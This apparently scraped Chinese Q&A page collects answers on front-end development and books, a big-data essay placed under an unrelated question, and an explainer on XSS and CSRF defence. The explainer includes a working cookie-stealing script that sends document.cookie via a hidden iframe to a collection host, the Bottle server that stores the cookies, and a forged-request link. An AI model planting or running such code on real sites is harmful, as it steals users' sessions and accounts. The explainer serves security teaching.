Ⅰ 大家來說說自己的經驗:寫一個web前端頁面要多久時間,比如豆瓣網的首頁.
自已寫的話,可能需要一周時間,如果拷貝的話,可能需要1-3個小時吧。
Ⅱ 如何看待「大三前端小作業是不用框架2周寫一個電商網站"
從要求來看,實現這一任務的難度明顯低於清華雷的班。唯一的問題是時間相對緊張。一些網民貼出了該系去年的作業,但難度沒有明顯差別。然而,去年,三個作業各有兩周,所以時間更充裕。今年,這三項任務被整合在一起,並且要求在兩周內完成,因此時間相對緊張。這主要是因為學校因為流行病而無法開學。教師只能將三個作業整合在一起。
然而,布置作業的老師肯定不希望學生們在兩周內寫一個像淘寶和京東這樣的網站。一些網民去年貼出了兩個作業,一個是電影列表網頁界面,另一個是在界面上添加資料庫和伺服器界面,這與這個作業的難度總體上沒有太大的不同。
雖然作業文件顯示可以咨詢豆瓣和IMDb,但並不要求學生像這兩個網站一樣復雜。這位網友還貼出了他當時提交的作業,只要他實現了一個簡單的網頁。總之,雖然時間很短,並且不允許使用框架,但是只實現文檔中所需的功能並不困難。
Ⅲ python可以做前端嗎
可以做前端開發但是還是需要javascript的輔助。python並不能直接在瀏覽器運行,所以有很多功能需要javascript來做,不過如果只是基本的顯示和表格操作的話python是可以完成的。
Ⅳ 《現代前端技術解析》epub下載在線閱讀,求百度網盤雲資源
《現代前端技術解析》(張成文)電子書網盤下載免費在線閱讀
資源鏈接:
鏈接:
書名:現代前端技術解析
作者:張成文
豆瓣評分:8.8
出版社:電子工業出版社
出版年份:2017-4-1
頁數:340
內容簡介:
這是一本以現代前端技術思想與理論為主要內容的書。前端技術發展迅速,涉及的技術點很多,我們往往需要閱讀很多書籍才能理解前端技術的知識體系。《現代前端技術解析》在前端知識體繫上做了很好的總結和梳理,涵蓋了現代前端技術絕大部分的知識內容,起到一個啟蒙作用,能幫助讀者快速把握前端技術的整個脈絡,培養更完善的體系化思維,掌握更多靈活的前端代碼架構方法,使讀者獲得成為高級前端工程師或架構師所必須具備的思維和能力。
作者簡介:
張成文(ouvenzhang),2014年畢業於華中科技大學,前騰訊IMWeb團隊前端工程師。在前端技術領域具有極高的職業能力和探究精神。對響應式設計、工程構建組件化、MV*設計實現、前端優化、ES6體系開發、前端數據分析、前後端同構和前端新領域等均有較深入的研究與實踐經驗。
Ⅳ 前端書籍推薦
初級讀物
《JS高級程序設計》:一本非常完整的經典入門書籍,被譽為JS聖經之一,詳解的非常詳細,最新版第三版已經發布了,建議購買。
《JS王者歸來》網路的一個Web開發項目經理寫的,作為初學者准備的入門級教程也不錯。
中級讀物
《JS權威指南》:另外一本JS聖經,講解的也非常詳細,屬於中級讀物,建議觀看。
《JS.The.Good.Parts》:Yahoo大牛,JS精神領袖Douglas Crockford的大作,雖然才100多頁,但是字字珠璣啊!強烈建議閱讀。
《高性能JS》:《JS高級程序設計》作者Nicholas C. Zakas的又一大作。
《Eloquent JS》:這本書才200多頁,非常短小,通過幾個非常經典的例子(艾米麗姨媽的貓、悲慘的隱士、模擬生態圈、推箱子游戲等等)來介紹JS方方面面的知識和應用方法。
高級讀物
《JSPatterns 》:書中介紹到了各種經典的模式,如構造函數、單例、工廠等等,值得學習。
《Pro.JS.Design.Patterns》:Apress出版社講解JS設計模式的書,非常不錯。
《DevelopingJSWeb Applications》:構建富應用的好書,針對MVC模式有較為深入的講解,同時也對一些流程的庫進行了講解。
《Developing Large Web Applications》:不僅有JS方面的介紹,還有CSS、HTML方面的介紹,但是介紹的內容卻都非常不錯,真正考慮到了一個大型的Web程序下,如何進行JS架構設計,值得一讀。
結語
要做優秀的前端工程師,還需要繼續努力:《高性能網站建設指南》、《Yahoo工程師的網站性能優化的建議》、「YSLOW」性能優化建議、《網站重構》、《Web開發敏捷之道》、「 jQuery 庫」、「前端框架」、「HTML5」、「CSS3」。。。 這些都要深入研究!
萬事開頭難!如果你能到這個境界,剩下的路自己就可以走下去了。
Ⅵ 如何幫助前端新人入門和提高
第一個月主要讓他們對一些專業術語和前端整體的知識體系做了概覽(包括html、css、js、dom、bom等),當然這里必須要去了解的是W3C的誕生以及它的發展歷程,還有各大瀏覽器廠商的發展歷程以及當今不斷變化的市場格局。前半個月對html所有的標簽做一個系統的學習,並對常用的標簽(div\p\h1-h6\span\img\ul\dl\ol\li)做重點的理解和DEMO書寫,這里我特別傳達了語義化的概念給他們希望他們合理的使用標簽,而不是根據自己的心情隨意的使用標簽。後半個月對css的所有屬性做通覽,並對常用的CSS屬性做重點理解和實戰,這里我沒有讓他們對所有的CSS屬性做很詳細的了解(有些CSS屬性可能我們自己一輩子都不會用到,以後遇到的時候學會查API即可)。這過程中還傳達了hack這個概念給他們,以及對待hack的態度和常用實例。
第二個月主要是JS的學習(話說一個月學習JS真的是太難太難了,雖然是個腳本語言但要注意的地方特別多),首先對JS基礎的一些東西的學習(詞法結構、數據類型和值、變數、表達式和運算符、語句等等一些基礎知識),在學JS期間我發現他們明顯比第一個月學習html和css來的煩躁,但好得他們有學過編程,有些基礎。基礎學好之後,就是客戶端的一些知識的學習,dom\bom等等,如何對dom操作,關於性能這方面的東西暫時沒有傳達給他們,等他們達到一定知識程度上我希望他們學習如何優化。後半個月就是讓他們接觸一個JS框架,並學會高效快速的寫出頁面交互代碼。
第三個月基本就是實戰,html+css+js,每周基本都要寫好幾個頁面,然後我會帶他們一起去review,並指出所存在的問題,順便讓他們自己記錄下,總結,下次再寫頁面時避免。
Ⅶ 介紹有關計算機的一種前端技術
大數據基礎概念
「很多人還沒搞清楚什麼是PC互聯網,移動互聯網來了,我們還沒搞清楚移動互聯的時候,大數據時代又來了。」——馬雲卸任演講
本文嘗試從三大產業的角度將大數據的核心商業價值分類討論。
首先例舉一些大數據的典型應用,然後解釋大數據的定義,最後總結大數據的價值。
我們知道:
第一次工業革命以煤炭為基礎,蒸汽機和印刷術為標志,
第二次工業革命以石油為基礎,內燃機和電信技術為標志,
第三次工業革命以核能基礎,互聯網技術為標志,
第四次工業革命以可再生能源為基礎,_________為標志。
空白處你會填上什麼?歡迎大家討論。但是目前可以預測的是,數據和內容作為互聯網的核心,不論是傳統行業還是新型行業,誰率先與互聯網融合成功,能夠從大數據的金礦中發現暗藏的規律,就能夠搶佔先機,成為技術改革的標志。
一、大數據的應用
大數據挖掘商業價值的方法主要分為四種:
客戶群體細分,然後為每個群體量定製特別的服務。
模擬現實環境,發掘新的需求同時提高投資的回報率。
加強部門聯系,提高整條管理鏈條和產業鏈條的效率。
降低服務成本,發現隱藏線索進行產品和服務的創新。
Mckinsey列出了各個行業利用大數據價值的難易度以及發展潛力。《Big data: The next frontier for innovation, competition, and proctivity》
各種Data之間的關系圖,注意Open Data是完全包含了Open government data(政府開放數據)
Mckinsey也列出了Open Data時代里七大行業潛在的經濟價值,自上而下分別是教育,運輸,消費品、電力、石油與天然氣、醫療護理、消費金融。(感謝知友安陽提供的補充鏈接資料)
大數據的類型大致可分為三類:
傳統企業數據(Traditional enterprise data):包括 CRM systems的消費者數據,傳統的ERP數據,庫存數據以及賬目數據等。
機器和感測器數據(Machine-generated /sensor data):包括呼叫記錄(Call Detail Records),智能儀表,工業設備感測器,設備日誌(通常是Digital exhaust),交易數據等。
社交數據(Social data):包括用戶行為記錄,反饋數據等。如Twitter,Facebook這樣的社交媒體平台。
從理論上來看:所有產業都會從大數據的發展中受益。但由於數據缺乏以及從業人員本身的原因,第一、第二產業的發展速度相對於第三產業來說會遲緩一些。
(2).第二產業
2013年9月,工業和信息化部發布了《關於印發信息化和工業化深度融合專項行動計劃(2013-2018年)》的通知。明確提出推動物聯網在工業領域的集成創新和應用:
實施物聯網發展專項,在重點行業組織開展試點示範,以感測器和感測器網路、RFID、工業大數據的應用為切入點,重點支持生產過程式控制制、生產環境檢測、製造供應鏈跟蹤、遠程診斷管理等物聯網應用,促進經濟效益提升、安全生產和節能減排。
大數據的業務多是數據驅動型,具有數據量大、種類多、實時性高的特點。工業企業對數據的記錄以往看來主要分為兩種方法:傳統的紙筆和Excel電子表格記錄。這些操作起來看似簡單的數據管理方式為企業生產及質量監控埋下了巨大的隱患,也讓數據挖掘無從談起。
隨著信息化與工業化的融合發展,信息技術滲透到了工業企業產業鏈的各個環節。例如Sensor、RFID、Barcode、物聯網等技術已經在企業中得到初步應用,工業大數據也開始逐漸得到積累。企業中生產線高速運轉時機器所產生的數據量不亞於計算機數據,而且數據類型多是非結構化數據,對數據的實時性要求也更高。因此工業大數據所面臨的問題和挑戰很多,所以通用電氣公司(General Electric)的副總裁兼全球技術總監William Ruh認為相對於工業大數據來說,工業互聯網(Instrial Internet)才是當前急需的,因為大數據本身並沒有讓信息的提取更加智能,業務比數據本身更加重要。他舉了一個核磁共振成像掃描的例子:
Here』s an example. An MRI scan is the best way to see inside the human body. While effective in helping to diagnose multiple sclerosis, brain tumors, torn ligaments and strokes, the data proced by an MRI machine is disconnected from the person that needs it the most.
At a very simplistic level, there are many indivials working as a team to make the scan happen. A nurse administers medications or contrast agents that may be needed for the exam; an MRI technologist operates the scanner; and a radiologist identifies the imaging sequences to be used and interprets the images. This information is then given to the nurse, who then passes it to the primary doctor to review and take action accordingly. This is Big Data, but it is not making information more intelligent.
又如在工業中,壓力、溫度等數據的特點是需要語境才能理解的。燃氣輪機排氣裝置上的溫度讀數與一台機車的內部溫度是完全不同的。燃氣輪機改善熱敷需要使用非常復雜的演算法運行模型。在筆記本電腦上,一個典型的查詢要獲得答案一般需要三個星期。在基於大數據的分布式系統上發布同樣的查詢執行一種計算只需要不到一秒鍾。
第三方認證機構(TÜV NORD GROUP),工業
德國漢德技術監督服務有限公司的前身是德國鍋爐檢驗協會(簡稱TÜV)早在1869年,德國鍋爐檢驗協會就承擔了德國國內所有鍋爐運行安全的檢驗工作,保證了鍋爐生產的安全。漸漸的,德國鍋爐檢驗協會取得了德國政府的授權,開展對其他產品的檢驗工作,從采礦,電力系統開始,到壓力容器,機動車輛,醫療設備,環境保護,宇航工業,醫療產品等等,現在的德國漢德技術監督服務有限公司已經成為了許許多多產品的安全代號。主要體系認證包括企業質量管理體系,生產環境體系,生產碳排放方案等。TÜV當前從建築綠色標准體系方面提出了對於大數據能源管理的探索,以微軟新總部,蒂森克虜伯電梯總部為例,在整個項目實施中引入大數據能源管理,在建築的設計規劃階段、施工階段、運營階段等多個階段通過數據化的能源管理系統,實現建築的低碳、綠色、智能。
工業自動化軟體商(Wonderware ),工業
Wonderware作為系統軟體涉及的專業企業,對於大數據的計算和運用是從比較「IT」的角度出發的。Wonderware 的實時數據管理軟體能夠提供一個工廠所需要的從建立到報廢的所有實時數據。目前已經退出移動版本,工程總監在手機上就能夠隨時隨地監控設備的運行狀況。目前全球超過三分之一的工廠應用Wonderware公司的軟體解決方案。
了解更多:
大數據在電力行業的應用前景有哪些?
(3).第三產業
這一個部分的內容比較多。這里只提出一些典型的應用例子,歡迎補充。
健康與醫療:Fitbit® Official Site: Flex, One and Zip Wireless Activity and Sleep Trackers的健身腕帶可以收集有關我們走路或者慢跑的數據,例如行走步數、卡路里消耗、睡眠時長等數據與健康記錄來改善我們的健康狀況;Early Detection of Patient Deterioration等公司正在開發床墊監測感測器,自動監測和記錄心臟速率、呼吸速率、運動和睡眠活動。該感測器收集的數據以無線方式被發送到智能手機和平板電腦進行進一步分析;美國公共衛生協會(APHA: American Public Health Association)開發Flu Near You用來的症狀,通過大數據分析生成報告顯示用戶所在地區的流感活動。
視頻:互聯網電視能夠追蹤你正在看的內容,看了多長時間,甚至能夠識別多少人坐在電視機前,來確定這個頻道的流行度。Netflix 美國國內規模最大的商業視頻流供應商,收集的數據包括用戶在看什麼、喜歡在什麼時段觀看、在哪裡觀看以及使用哪些設備觀看等。甚至記錄用戶在哪視頻的哪個時間點後退、快進或者暫停,乃至看到哪裡直接將視頻關掉等信息。典型的應用是Netflix公司利用數據說服BBC重新翻拍了電視連結劇《紙牌屋》,而且成功的挖掘出演員Kevin Spacey和導演David Fincher的支持者與原劇集粉絲的關聯性,確定新劇拍攝的最佳人選。
When the program, a remake of a BBC miniseries, was up for purchase in 2011 with David Fincher and Kevin Spacey attached, the folks at Netflix simply looked at their massive stash of data. Subscribers who watched the original series, they found, were also likely to watch movies directed by David Fincher and enjoy ones that starred Kevin Spacey. Considering the material and the players involved, the company was sure that an audience was out there.
交通:《車來了》通過分析公交車上GPS定位系統每天的位置和時間數據,結合時刻表預測出每一輛公交車的到站時間;WNYC開發的Transit Time NYC通過開源行程平台(Github:OpenTripPlanner和MTA )獲取的數據將紐約市劃分成2930個六邊形,模擬出從每一個六邊形中點到邊緣的時間(地鐵和步行,時間是上午九點),最終建模出4290985條虛擬線路。用戶只需點擊地圖或者輸入地址就能知道地鐵到達每個位置的時間;實時交通數據採集商INRIX-Traffic的口號是(永不遲到!^^),通過記錄每位用戶在行駛過程中的實時數據例如行駛車速,所在位置等信息並進行數據匯總分析,而後計算出最佳線路,讓用戶能夠避開擁堵。
電子商務:Decide 是一家預測商品價格並為消費者提出購買時間建議的創業公司,通過抓取亞馬遜、百思買、新蛋及全球各大網站上數以十億計的數據進行分析,最終整合在一個頁面中方便消費者對比查看,並且能夠預測產品的價格趨勢,幫助用戶確定商品的最好購買時機。已經於2013年被 eBay收購。
政治:奧巴馬在總統競選中使用大數據分析來收集選民的數據,讓他可以專注於對他最感興趣的選民,谷歌執行董事長Eric Schmidt當時向奧巴馬的大數據分析團隊投資數百萬美元並聚攏核心成員成立了Civis Analytics咨詢公司,該公司將會將在奧巴馬連任競選中所獲得的經驗應用到商業和非營利行業中。(了解更多可以看看MIT technology的文章The Definitive Story of How President Obama Mined Voter Data to Win A Second Term)
金融:ZestFinance | Big Data Underwriting 是由是Google的前任 CIO,Douglas Merrill創立金融數據分析服務提供商,使用機器學習演算法和大數據為放款者提供承保模式,旨在為那些個人信用不良或者不滿足傳統銀行貸款資格的個人提供服務。公司使用分析模型對每位信貸申請人的上萬條原始信息數據進行分析,只需幾秒時間便可以得出超過十萬個行為指標。目前違約率比行業平均水平低 60%左右。另外一個不得不提到的是風險管理先驅者FICO | Predictive Analytics, Big Data Analytics and FICO Credit Scores,通過大數據分析為銀行和信用卡發卡機構、保險、醫療保健、政府和零售行業提供服務。FICO 信用分計算的基本思想是:把借款人過去的信用歷史資料與資料庫中的全體借款人的信用習慣相比較,檢查借款人的發展趨勢跟經常違約、隨意透支、甚至申請破產等各種陷入財務困境的借款人的發展趨勢是否相似。FICO 已經為三分之二的世界 100 強銀行提供服務,提高了客戶忠誠度和盈利率、減少欺詐損失、管理信貸風險、滿足監管與競爭要求並快速獲取市場份額。想了解更多的企業可以看看附錄中《經濟學人》的文章《Big data: Crunching the numbers》。
電信: 美國T-mobiles採用Informatica - The Data Integration Company平台開展大數據工作,通過集成數據綜合分析客戶流失的原因,根據分析結果優化網路布局為客戶提供了更好的體驗,在一個季度內將流失率減半;韓國 SK telecom新成立一家公司SK Planet,通過大數據分析用戶的使用行為,在用戶做出決定之前推出符合用戶興趣的業務防止用戶流失。美國AT&T 公司將記錄用戶在Wifi網路中的地理位置、網路瀏覽歷史記錄以及使用的應用等數據銷售給廣告客戶。比如當用戶距離商家很近時,就有可能收到該商家提供的折扣很大的電子優惠券。英國BT - Broadband公司發布了新的安全數據分析服務Assure Analytics—BT news releases,幫助企業收集、管理和評估大數據集,將這些數據通過可視化的方式呈現給企業,幫助企業改進決策。
一般來說盈利性質的商業公司和企業都不會輕易泄露自己的數據、建模方法和分析過程,所以還有很多大家不知道的神秘應用潛伏在黑暗裡,如同《三體》中的」黑暗森林法則「。
宇宙就是一座黑暗森林,每個文明都是帶槍的獵人,像幽靈般潛行於林間,輕輕撥開擋路的樹枝,竭力不讓腳步發出一點兒聲音,連呼吸都必須小心翼翼:他必須小心,因為林中到處都有與他一樣潛行的獵人,如果他發現了別的生命,能做的只有一件事:開槍消滅之。在這片森林中,他人就是地獄,就是永恆的威脅,任何暴露自己存在的生命都將很快被消滅,這就是宇宙文明的圖景,這就是對費米悖論的解釋。
二、大數據的定義
大數據(Big Data)是指「無法用現有的軟體工具提取、存儲、搜索、共享、分析和處理的海量的、復雜的數據集合。」業界通常用4個V(即Volume、Variety、Value、Velocity)來概括大數據的特徵。
數據體量巨大(Volume)。截至目前,人類生產的所有印刷材料的數據量是200PB,而歷史上全人類說過的所有的話的數據量大約是5EB(1EB=210PB)。
數據類型繁多(Variety)。相對於以往便於存儲的以文本為主的結構化數據,非結構化數據越來越多,包括網路日誌、音頻、視頻、圖片、地理位置信息等,這些多類型的數據對數據的處理能力提出了更高要求。
價值密度低(Value)。價值密度的高低與數據總量的大小成反比。如何通過強大的機器演算法更迅速地完成數據的價值「提純」成為目前大數據背景下亟待解決的難題。
處理速度快(Velocity)。大數據區分於傳統數據挖掘的最顯著特徵。根據IDC的「數字宇宙」的報告,預計到2020年,全球數據使用量將達到35.2ZB。
看看專家們怎麼說。
舍恩伯格,大數據時代 (豆瓣)
不是隨機樣本,而是全體數據;不是精確性,而是混雜性;不是因果關系,而是相關關系。
埃里克·西格爾,大數據預測 (豆瓣)
大數據時代下的核心,預測分析已在商業和社會中得到廣泛應用。隨著越來越多的數據被記錄和整理,未來預測分析必定會成為所有領域的關鍵技術。
城田真琴,大數據的沖擊 (豆瓣)
從數據的類別上看,「大數據」指的是無法使用傳統流程或工具處理或分析的信息。 它定義了那些超出正常處理范圍和大小、迫使用戶採用非傳統處理方法的數據集。
三、大數據的價值
了解了大數據的典型應用,理解了大數據的定義。這時相信在每個人的心中,關於大數據的價值都有了自己的答案。
2010年《Science》上刊登了一篇文章指出,雖然人們的出行的模式有很大不同,但我們大多數人同樣是可以預測的。這意味著我們能夠根據個體之前的行為軌跡預測他或者她未來行蹤的可能性,即93%的人類行為可預測。
Limits of Predictability in Human Mobility
A range of applications, from predicting the spread of human and electronic viruses to city planning and resource management in mobile communications, depend on our ability to foresee the whereabouts and mobility of indivials, raising a fundamental question: To what degree is human behavior predictable? Here we explore the limits of predictability in human dynamics by studying the mobility patterns of anonymized mobile phone users. By measuring the entropy of each indivial』s trajectory, we find a 93% potential predictability in user mobility across the whole user base. Despite the significant differences in the travel patterns, we find a remarkable lack of variability in predictability, which is largely independent of the distance users cover on a regular basis.
而大數定理告訴我們,在試驗不變的條件下,重復試驗多次,隨機事件的頻率近似於它概率。「有規律的隨機事件」在大量重復出現的條件下,往往呈現幾乎必然的統計特性。
舉個例子,我們向上拋一枚硬幣,硬幣落下後哪一面朝上本來是偶然的,但當我們上拋硬幣的次數足夠多後,達到上萬次甚至幾十萬幾百萬次以後,我們就會發現,硬幣每一面向上的次數約占總次數的二分之一。偶然中包含著某種必然。
隨著計算機的處理能力的日益強大,你能獲得的數據量越大,你能挖掘到的價值就越多。
實驗的不斷反復、大數據的日漸積累讓人類發現規律,預測未來不再是科幻電影里的讀心術。
如果銀行能及時地了解風險,我們的經濟將更加強大。
如果政府能夠降低欺詐開支,我們的稅收將更加合理。
如果醫院能夠更早發現疾病,我們的身體將更加健康。
如果電信公司能夠降低成本,我們的話費將更加便宜。
如果交通動態天氣能夠掌握,我們的出行將更加方便。
如果商場能夠動態調整庫存,我們的商品將更加實惠。
最終,我們都將從大數據分析中獲益。
四、結束語。
Here's the thing about the future.關於未來有一個重要的特徵
Every time you look at it,每一次你看到了未來
it changes because you looked at it.它會跟著發生改變 因為你看到了它
And that changes everything else.然後其它事也跟著一起改變了
數據本身不產生價值,如何分析和利用大數據對業務產生幫助才是關鍵。
祝每一個DMer都挖掘到金礦和快樂:)
Ⅷ 前端安全方面有沒有了解xss和csrf如何攻防
在那個年代,大家一般用拼接字元串的方式來構造動態 sql 語句創建應用,於是 SQL 注入成了很流行的攻擊方式。在這個年代, 參數化查詢 已經成了普遍用法,我們已經離 SQL 注入很遠了。但是,歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由於之前已經對 XSS 很熟悉了,所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾,我一定會在模板輸出時候全部轉義。所以個人感覺,要避免 XSS 也是很容易的,重點是要「小心」。但最近又聽說了另一種跨站攻擊 CSRF ,於是找了些資料了解了一下,並與 XSS 放在一起做個比較。
XSS:腳本中的不速之客
XSS 全稱「跨站腳本」,是注入攻擊的一種。其特點是不對伺服器端造成任何傷害,而是通過一些正常的站內交互途徑,例如發布評論,提交含有 JavaScript 的內容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本,作為內容發布到了頁面上,其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的後果有很多中,可能只是簡單的惡作劇——一個關不掉的窗口:
1
2
3
while (true) {
alert("你關不掉我~");
}
也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程,先建立一個用來收集信息的伺服器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集伺服器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然後在某一個頁面的評論中注入這段代碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
於是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的帳號和其他隱私的信息發送到收集伺服器上。
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制,只能訪問當前域名下的 URL,所謂不能「跨域」問題。這種做法的初衷也是防範 XSS,多多少少都起了一些作用,但不是總是有用,正如上面的注入代碼,用 iframe 也一樣可以達到相同的目的。甚至在願意的情況下,我還能用 iframe 發起 POST 請求。當然,現在一些瀏覽器能夠很智能地分析出部分 XSS 並予以攔截,例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功,何況這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用著可怕的 IE6。從原則上將,我們也不應該把事關安全性的責任推脫給瀏覽器,所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的,這點對於 Web 開發者應該是常識。
正如上文所說,如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本,那麼把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點,Django 內置模版和 Jinja2 模版總是默認轉義輸出變數的。如果沒有使用它們,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數,Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎,那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是,在一些場合我們要允許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的,任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對於復雜的情況,我個人更傾向於使用簡單的方法處理,簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構,但我們並不將這些數據直接存入資料庫,而是使用 HTML 解析庫遍歷節點,獲取其中數據(之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性)。然後根據用戶原有的標簽屬性,重新構建 HTML 元素樹。構建的過程中,所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別(前面說了 HTML 不同於 XML,要求有很強的容錯性),那麼它不會成為漏網之魚,因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最後獲得的新 HTML 元素樹,我們可以拍胸脯保證——所有的標簽、屬性都來自白名單,一定不會遺漏。
現在看來,大多數 Web 開發者都了解 XSS 並知道如何防範,往往大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是由於疏漏。我個人建議在使用模版引擎的 Web 項目中,開啟(或不要關閉)類似 Django Template、Jinja2 中「默認轉義」(Auto Escape)的功能。在不需要轉義的場合,我們可以用類似 的方式取消轉義。這種白名單式的做法,有助於降低我們由於疏漏留下 XSS 漏洞的風險。
另外一個風險集中區域,是富 AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險並不集中在 HTTP 的靜態響應內容,所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域,開發者不得不自己打開危險的大門。這種情況下,站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟體包(似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試),但我都沒試用過,故不予評價。不管怎麼說,我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
CSRF:冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別,後來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條,但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。
CSRF 的全稱是「跨站請求偽造」,而 XSS 的全稱是「跨站腳本」。看起來有點相似,它們都是屬於跨站攻擊——不攻擊伺服器端而攻擊正常訪問網站的用戶,但前面說了,它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義,是偽造請求,冒充用戶在站內的正常操作。我們知道,絕大多數網站是通過 cookie 等方式辨識用戶身份(包括使用伺服器端 Session 的網站,因為 Session ID 也是大多保存在 cookie 裡面的),再予以授權的。所以要偽造用戶的正常操作,最好的方法是通過 XSS 或鏈接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發起用戶所不知道的請求。
嚴格意義上來說,CSRF 不能分類為注入攻擊,因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌,但對於設計不佳的網站,一條正常的鏈接都能造成 CSRF。
例如,一論壇網站的發貼是通過 GET 請求訪問,點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問:
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼,我只需要在論壇中發一帖,包含一鏈接:
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接,那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇,但是既然發貼的請求可以偽造,那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。
如何解決這個問題,我們是否可以效仿上文應對 XSS 的做法呢?過濾用戶輸入, 不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用,但阻擋不了 CSRF,因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去,為了偽裝可能還使用 bit.ly 壓縮一下網址,這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ,我們的視角需要和對待 XSS 有所區別。CSRF 並不一定要有站內的輸入,因為它並不屬於注入攻擊,而是請求偽造。被偽造的請求可以是任何來源,而非一定是站內。所以我們唯有一條路可行,就是過濾請求的 處理者。
比較頭痛的是,因為請求可以從任何一方發起,而發起請求的方式多種多樣,可以通過 iframe、ajax(這個不能跨域,得先 XSS)、Flash 內部發起請求(總是個大隱患)。由於幾乎沒有徹底杜絕 CSRF 的方式,我們一般的做法,是以各種方式提高攻擊的門檻。
首先可以提高的一個門檻,就是改良站內 API 的設計。對於發布帖子這一類創建資源的操作,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變伺服器端資源。當然,最理想的做法是使用 REST 風格 的 API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,我們可以使用 ajax 提交請求(例如通過 jquery-form 插件,我最喜歡的做法),也可以使用隱藏域指定請求方法,然後用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的做法)。這么一來,不同的資源操作區分的非常清楚,我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能通過發布鏈接來偽造請求了,但他們仍可以發布表單,或者在其他站點上使用我們肉眼不可見的表單,在後台用 js 操作,偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防禦 CSRF,這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同學應該對「同步令牌」應該不會陌生,「請求令牌」和「同步令牌」原理是一樣的,只不過目的不同,後者是為了解決 POST 請求重復提交問題,前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單,首先伺服器端要以某種策略生成隨機字元串,作為令牌(token), 保存在 Session 里。然後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其他信息一並發出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份。
請求令牌雖然使用起來簡單,但並非不可破解,使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意:
雖然請求令牌原理和驗證碼有相似之處,但不應該像驗證碼一樣,全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的,破解方式是解析來源頁面的文本,獲取令牌內容。如果全局使用一個 Session Key,那麼危險系數會上升。原則上來說,每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計伺服器端的時候,可以稍加封裝,編寫一個令牌工具包,將頁面的標識作為 Session 中保存令牌的鍵。
